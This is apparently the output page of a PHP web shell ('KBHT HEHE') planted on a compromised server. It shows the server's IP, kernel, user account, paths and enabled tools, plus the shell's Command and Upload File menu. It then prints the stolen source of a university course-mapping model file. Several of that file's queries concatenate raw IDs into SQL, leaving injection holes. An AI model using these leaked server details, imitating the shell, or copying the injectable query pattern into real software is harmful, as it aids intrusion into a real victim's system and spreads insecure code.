GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.145.89.89
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/models/admin/UCSMappingManagement.php
<?php

/**
 * Model Class For Handling All DB Operations Related To Mapping Of University/Course/Sub-Course/Session
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class UCSMappingManagement extends CI_Model {

    function createNewUCSMappingMulti(array $newUCSMappingInfoBatch) {
        $this->db->insert_batch('tbl_univ_course_session_mapping', $newUCSMappingInfoBatch);
        return $this->db->insert_id();
    }

    function getEntryTypesInfoBy($branch_id, $session_id, $course_id) {
        $sql = "SELECT TUCSM.ucs_map_id,TUCSM.ucs_rg_le_active_status,TUCSM.session_end_year,TCSM1.tcsm_course_type "
                . "FROM tbl_univ_course_session_mapping TUCSM, tbl_course_sub_master TCSM1 WHERE "
                . "TUCSM.branch_id = " . $branch_id . " AND TUCSM.session_id = " . $session_id . " AND TUCSM.sub_course_id = TCSM1.tcsm_id "
                . "AND TUCSM.sub_course_id IN (SELECT TCSM.tcsm_id FROM tbl_course_sub_master TCSM WHERE TCSM.course_id = " . $course_id . ") "
                . "ORDER BY TCSM1.tcsm_course_type ASC";
        return $this->db->query($sql);
    }

    function getUniversityAndBranchInfoBy($course_id) {
        $sql = "SELECT DISTINCT(TUCSM.sub_course_id)sub_course_id, TUCSM.ucs_map_id,TUCSM.ucs_rg_le_active_status,"
                . "TUCSM.ucs_map_delete_status,TUM.univ_name,TUM.univ_id,TUCSM.ucs_map_added_on, TUCSM.ucs_map_updated_on,"
                . "TSBM.branch_name,TSBM.branch_id FROM tbl_univ_course_session_mapping TUCSM, "
                . "tbl_sms_branch_master TSBM, tbl_university_master TUM WHERE TUCSM.univ_id = TUM.univ_id "
                . "AND TUCSM.branch_id = TSBM.branch_id AND "
                . "TUCSM.sub_course_id = (SELECT tcsm_id FROM tbl_course_sub_master TCUM WHERE TCUM.course_id = " . $course_id . " LIMIT 1) "
                . "ORDER BY TUCSM.ucs_map_updated_on DESC LIMIT 1";
        return $this->db->query($sql);
    }

    function getAllUCSMappingBySessionAndCourse($session_id, $course_id) {
        $sql = "SELECT * FROM tbl_univ_course_session_mapping TUCSM JOIN tbl_course_sub_master TCSM ON "
                . "TUCSM.sub_course_id= TCSM.tcsm_id JOIN tbl_course_master TCM ON "
                . "TCSM.course_id= TCM.course_id WHERE TCM.course_id = '" . $course_id . "' AND TUCSM.session_id = '" . $session_id . "'";
        return $this->db->query($sql);
    }

    function getAllUCSMappingBySessionAndSubCourse($session_id, $sub_course_id) {
        $sql = "SELECT * FROM tbl_univ_course_session_mapping TUCSM JOIN tbl_course_sub_master TCSM ON "
                . "TUCSM.sub_course_id= TCSM.tcsm_id JOIN tbl_course_master TCM ON "
                . "TCSM.course_id= TCM.course_id WHERE TUCSM.sub_course_id = '" . $sub_course_id . "' AND TUCSM.session_id = '" . $session_id . "'";
        return $this->db->query($sql);
    }
    
    function getUCSMapInfoById($ucs_map_id) {
        $this->db->select("*");
        $this->db->from('tbl_univ_course_session_mapping TUCSM');
        $this->db->join('tbl_course_sub_master TCSM', 'TUCSM.sub_course_id= TCSM.tcsm_id');
        $this->db->join('tbl_course_master TCM', 'TCSM.course_id= TCM.course_id');
        $this->db->where('TUCSM.ucs_map_id', $ucs_map_id);
        return $this->db->get();
    }

    function getAllUCSMappingBySessionId($session_id) {
        $this->db->select("*");
        $this->db->from('tbl_univ_course_session_mapping TUCSM');
        $this->db->join('tbl_course_sub_master TCSM', 'TUCSM.sub_course_id= TCSM.tcsm_id');
        $this->db->join('tbl_course_master TCM', 'TCSM.course_id= TCM.course_id');
        $this->db->where('TUCSM.session_id', $session_id);
        return $this->db->get();
    }

    function getAllSessionsByCourseAndBranch($branch_id, $course_id) {
        $sql = "SELECT DISTINCT(TUCSM.session_id) session_id, TSM.session_name, TUCSM.ucs_map_id, TUCSM.ucs_rg_le_active_status, TUCSM.session_end_year FROM "
                . "tbl_univ_course_session_mapping TUCSM, tbl_session_master TSM WHERE TUCSM.session_id = TSM.session_id AND "
                . "TSM.session_active_status = 'T' AND TSM.session_delete_status = 'F' AND TUCSM.branch_id = " . $branch_id . " AND "
                . "TUCSM.sub_course_id IN (SELECT TCSM.tcsm_id FROM tbl_course_sub_master TCSM WHERE TCSM.course_id = " . $course_id . ") GROUP BY "
                . "TUCSM.session_id ORDER BY TSM.session_name ASC";
        return $this->db->query($sql);
    }
    
    function updateUCSMappingEntry(array $ucsMapUpdatedInfo, $allUpdateSessionWise) {
        if($allUpdateSessionWise){
            $this->db->where('session_id', $ucsMapUpdatedInfo['session_id']);
            return $this->db->update('tbl_univ_course_session_mapping', $ucsMapUpdatedInfo);
        }else{
            $this->db->where('ucs_map_id', $ucsMapUpdatedInfo['ucs_map_id']);
            return $this->db->update('tbl_univ_course_session_mapping', $ucsMapUpdatedInfo);
        }
    }
    
    function updateUCSMappingMulti(array $ucsMappingUpdateInfoBatch) {
        return $this->db->update_batch('tbl_univ_course_session_mapping', $ucsMappingUpdateInfoBatch,'ucs_map_id');
    }

    function deleteUCSMappingRecordsBy($session_id) {
        $this->db->where("session_id", $session_id);
        $this->db->delete("tbl_univ_course_session_mapping");
    }
    
    function getCoursesUsingSession($session_id) {
        $this->db->distinct();
        $this->db->select("tcm.course_id,tcm.course_name");
        $this->db->from("tbl_course_master tcm");
        $this->db->join("tbl_course_sub_master tcsm", "tcm.course_id = tcsm.course_id");
        $this->db->join("tbl_univ_course_session_mapping tucsm", "tcsm.tcsm_id  = tucsm.sub_course_id");
        $this->db->where("tucsm.session_id", $session_id);
        return $this->db->get();
    }

}

KBHT - 2023